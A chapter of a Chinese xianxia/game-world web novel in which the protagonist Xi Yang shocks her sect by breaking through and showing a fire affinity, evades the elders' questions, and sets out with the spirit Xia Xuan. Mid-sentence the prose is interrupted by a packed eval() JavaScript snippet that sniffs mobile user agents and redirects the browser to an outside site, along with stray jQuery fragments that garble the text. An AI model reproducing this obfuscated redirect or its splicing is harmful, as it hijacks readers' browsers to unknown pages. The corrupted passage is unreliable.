前往升云派择仙台的路上，奚羊几乎是被另外三人紧贴着簇拥往前，不知道的还以为这几个人在押送什么通缉犯。
钟无声扣紧奚羊一条胳膊，死咬着牙恶狠狠在她耳边问：“你上回突破才过了过久？偷偷嗑什么灵丹妙药了赶紧如实招来！”
余止帆虽然扣着她另一条胳膊，但脸上显然还没反应过来，神色中带着某种茫然和呆滞，喃喃道：“十天突破一阶初尘中尘，十天又破一阶上尘……你是人吗？”
光看十年前拜入升云派的外门弟子，还有成堆的人停在一阶初尘，连一阶中尘都没有突破。
奚羊怎么随便闭个小关就能突破？这对吗？
要是被四大仙门知道，他们一定会派亲传大队来抢人的！
钟无声话头一顿，猛地凑近低声道：“我说你怎么对靳里离开反应那么大，她肯定给了你什么上品丹药是不是？太过分了兄弟之间还有没有信任！”
奚羊面无表情：“哇这你都能想到，我都没想到。”
胡桃从她背后抱住她，探出脑袋挤开钟无声，“所以你到底是怎么突破的？真的是吃丹药吗？”
奚羊沉思一瞬：“就……练功呗，练着练着——”
经验条就满了。
这是可以说的吗。
余止帆伸长脖子观察她的神色，呆呆道：“我说羊姐，您这速度前无古人后无来者，一举完成如此惊天地泣鬼神的壮举，你就这种懒散态度？”
奚羊转过头：“不然呢？我再放个鞭炮昭告天下？”
余止帆：“……”
昭告天下完全不夸张好吗！
四个人保持着押送与被押送的姿态到达择仙台，升云派只有一座玉桩，灵力纯度和修为高低能够同时测出结果，众弟子需要逐个上前测试，奚羊就顶着其他三人如鬼一般的目光中走了上去。
她被耳边一路上没停过的声音扰得神志不清，什么都没多想，径直将手放上玉桩表面。
下一瞬，鲜艳如火的红光自玉桩朝四周放射开来，瞬间照亮了她的脸颊和地面雪白的玉砖。
奚羊没觉得有什么不对，背后传来大片惊呼，前方师兄师姐的神色也瞬间大变，她还觉得大家对突破的反应着实太大。
不就一阶上尘么，又不是十阶。
负责记录的唐舒英师兄呆在原地许久，才如梦初醒，艰难地将目光挪到纸面上，边写边结巴道：“奚羊，中庸火，火系……一阶上，上尘。”
他到说完都没落得下去笔，满脸都写着难以接受。
怎么可能？！
奚羊回头准备下去，瞥见底下的胡桃三人居然也都是一副被雷劈过的样子，看鬼的目光变本加厉，就那样直勾勾地瞪着她。
不是吧，你们三个不是已经知道了么，反应怎么比别人还离谱！
她腹诽着往下走，脑中忽然传来一声懒散的啧啧声，夏玄戏谑的声音紧接着便响起。
“修为突破加属性变更，还得是你会出风头。”
好阴阳怪气。
但语气并不是重点。
奚羊猛然间意识到什么，猛地一个急转身看向背后的玉桩，光芒已经熄灭，不过她的眼前仿佛还能看见方才那炙热的红光。
她的神色缓缓发生了巨变。
该死……该死该死该死该死！！！！忘了她之前测出来是木系了！！！
啊啊啊啊啊啊啊啊这怎么解释！
该死，她之前不控制属性的话不是测不出来吗？谁能想到练净火令升阶之后，她不刻意控制的话测出来就是火系啊！
完了，天塌了，她真的要变怪胎了。
这次她走回台下三人的身边，他们保持着惊人的相似表情，久久无法回神，连自己的测试都是被奚羊推着去的。
当天傍晚，外门弟子风云榜便有一条新的消息占领榜首，奚羊十日突破的传说一夜之间就变成了真的，她甚至还换了属性。
这已经不能用常理来形容，说给修仙界任何一个人听，他都会觉得你疯了。
事情不单单传遍整个外门，内门弟子连同长老掌门，整个升云派都陷入了震惊之中。
奚羊被请往议事厅时，她已经知道自己这回确实装了波大的。
太大了点。
掌门和三位长老全都等候在议事厅中，见奚羊进来便同时看向她，紧张裹挟着压迫感扑面而来，她几乎能清楚地看到焦躁粒子在空气中漂浮。
待引路弟子离开，久群长老最先忍不住走上前，对着奚羊便上下打量一番，提眉叹道：“真的，真升了，一阶上尘！”
他身后的长老掌门也齐齐变了脸色，震惊中夹杂着浓重的忧虑，倒没看出几分喜色。
掌门同身旁两位长老彼此交换眼神，而后抬步走向奚羊面前，似有千言万语想说，最后从其中摘出一句：“你是如何突破的？又为何……”
后面的话奚羊不听都知道是“换了属性”，这两个问题今日快被问烂了，她耳朵都磨出了茧子。
“我潜心修炼心法，参悟之时自然便突破了，要说究竟如何做到，那我也说不清楚，至于属性……”
“其实我是木火双系，灵力操控上和旁人稍稍有些不同，测试只能测出一种属性，我也不知是为何。”
奚羊梗着脖子张口就来，她没有提起后山发现猫崽和净火令的事，能说的就说，不能说的统统不知道，他们总不能把她脑袋剖开检查。
河阳长老反应最大，惊道：“你也是炼丹师？！”
奚羊张开的嘴瞬间一僵，硬是将头点了下去，“是，是啊，不过我家里穷，学不起炼丹。”
她说完，对面几个人的表情就更加一言难尽，久群长老下巴险些掉地上：“你早怎么不说？”
奚羊：“没人问我。”
长老和掌门同时陷入了沉默。
掌门沉默许久，还是强忍着开口，艰难地问了一句：“你……真的不考虑四大仙门？”
奚羊：？
什么意思，她都前无古人后无来者了，你不光不偷着乐还要下逐客令？
掌门看出奚羊的神色变化，赶忙解释道：“如此惊才绝艳的天赋，若是在四大仙门，那必然能飞升成神，待在升云派只怕……”
只怕不光能力得不到发挥，还可能招来祸患。
不过他没说下去，奚羊也注定没法按照他的想法离开。
她何尝不知道进入四大仙门能升得更快，不过那死老头不让她去四大仙门她有什么办法。游戏的主线未必是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005344|185809||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
升到十阶飞升，她必须按规则走。
“掌门是要干涉弟子的选择么？”她说，“我不在乎飞升与否，我有我的理由，升云派是我的选择，不会改变。”
纵使已经走过漫长的人生，掌门和长老也实在没有处理过类似的事件，毕竟这种天赋放给四大仙门都未必有对策，他们普通门派又能如何。
奚羊不可能离开，他们总不能真的要求奚羊滚蛋，她有太多不能说的秘密，这场谈话注定没有结果。
她离开议事厅，只想快点通关，趁早离开这个游戏。
这里应当只是个游戏，为什么越来越真实？
她看不清主线，看不清未来，不知道自己随意的选择究竟会带来什么，就像真正的人生一样。
。
奚羊又开始闭门不出。
她将自己所在房间里，耗费掉之前获得的所有灵石和灵核，包括23颗五品可选灵石、6颗五品水系灵石和1颗一阶上尘水系灵核。
游戏之于玩家的意义有时就在于此，她不需要像npc一样理解突破升阶背后的意义，不需要理解不需要悟道，只需要道具的堆砌，就能够不断变强。
她突破了二阶初气。
奚羊睁开眼，看向自己充盈起力量的双手，忽然意识到一件事——
她本就不同于所有人。
沉浸与否，只关乎个人选择。
窗外有天光透进来，明亮而透彻，奚羊盯着窗棂看了好一会儿，缓缓将目光收回来。
“今日是什么日子？”她忽然问。
“八月十三，亲爱的玩家，升云派的新弟子讲学正在进行，您已经错过了好几天。”小羊很快回答。
“八月十三……”奚羊喃喃，没回小羊的话。
她忽然起身走向衣柜，拿出已经清洁过的那件斗篷，边往身上扣边在脑中说：“你又该走了，这次我跟你一起去。”
这话是对夏玄说的，后者显然没反应过来，只下意识答道：“什么？！”
他说话间，奚羊已经走出门，动用来去无踪的技能隐去所有的踪迹。
“不去参加听学吗？您已经错过了好几天。”小羊问。
奚羊只是径自朝升云派大门瞬移而去。
“那就再错过几天吧。”
。
被人跟在身后，走到五灵之森边缘时，夏玄仍旧没想通，事情怎么会突然变成这样。
他原本是拒绝的，奚羊那个疯子也料到他不会同意，离开升云派之后居然直接从崖上跳了下去！
夏玄瞬间接管了她的身体，后来在一系列威逼利诱之下，带着她出现在这里。
他不懂奚羊为什么像换了个人。
后者的回答是：“只是突然意识到，游戏不只有一种玩法。”
不可理喻！
他只好强调：“如果你死在这，没人给你机会后悔。”
奚羊闻言挑眉，对他神秘一笑：“巧了，我的特长正好是不死。”
油盐不进！
翻过面前的山坡往下俯视，奚羊看到一片湖泊，湛蓝晶莹，那是她初入游戏时看到的湖，她这时才恍然升腾起一种实感。
她又再次回到了这里。
以一种无比轻松的方式。